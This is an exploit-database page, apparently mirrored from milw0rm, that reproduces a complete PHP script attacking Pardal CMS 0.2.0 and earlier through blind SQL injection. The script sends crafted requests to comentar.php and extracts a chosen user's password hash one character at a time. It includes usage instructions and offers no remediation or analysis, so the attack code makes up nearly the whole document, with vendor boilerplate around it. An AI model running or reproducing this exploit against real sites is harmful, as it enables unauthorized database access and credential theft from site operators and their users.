Lucene search
K

Pardal CMS <= 0.2.0 - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Pardal CMS <= 0.2.0 Blind SQL Injection Exploi

Code

                                                --+++=============================================================+++--
--+++====== Pardal CMS &#60;= 0.2.0 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--

&#60;?php

function usage ()
{
    echo &#34;\nPardal CMS &#60;= 0.2.0 Blind SQL Injection Exploit&#34;.
         &#34;\n[+] Author  : darkjoker&#34;.
         &#34;\n[+] Site    : http://darkjoker.net23.net&#34;.
         &#34;\n[+] Download: http://tinyurl.com/csg4vt&#34;.
         &#34;\n[+] Usage   : php xpl.php &#60;hostname&#62; &#60;path&#62; &#60;username&#62;&#34;.
         &#34;\n[+] Ex.     : php xpl.php localhost /PardalCMS Admin&#34;.
         &#34;\n\n&#34;;
    exit ();
}


function query ($user, $chr, $pos)
{
    $query = &#34;x&#39; OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = &#39;{$user}&#39;),{$pos},1))=&#39;{$chr}&#34;;
    $query = str_replace (&#34; &#34;, &#34;%20&#34;, $query);
    $query = str_replace (&#34;&#39;&#34;, &#34;%27&#34;, $query);
    return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($hostname, 80);
    $query = query ($user, $chr, $pos);
    $request = &#34;GET {$path}/comentar.php?id={$query} HTTP/1.1\r\n&#34;.
           &#34;Host: {$hostname}\r\n&#34;.
           &#34;Connection: Close\r\n\r\n&#34;;
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match (&#34;/\&#34;#FFFFFF\&#34;&#62; em &#60;\/font&#62;/&#34;, $reply))
        return false;
    else
        return true;
}

if ($argc != 4)
    usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$key = &#34;abcdef0123456789&#34;;
$pos = 1;
$chr = 0;

echo &#34;[+] Password: &#34;;

while ($pos &#60;= 32)
{
    if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}

echo &#34;\n\n&#34;;

?&#62;

# milw0rm.com [2009-01-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23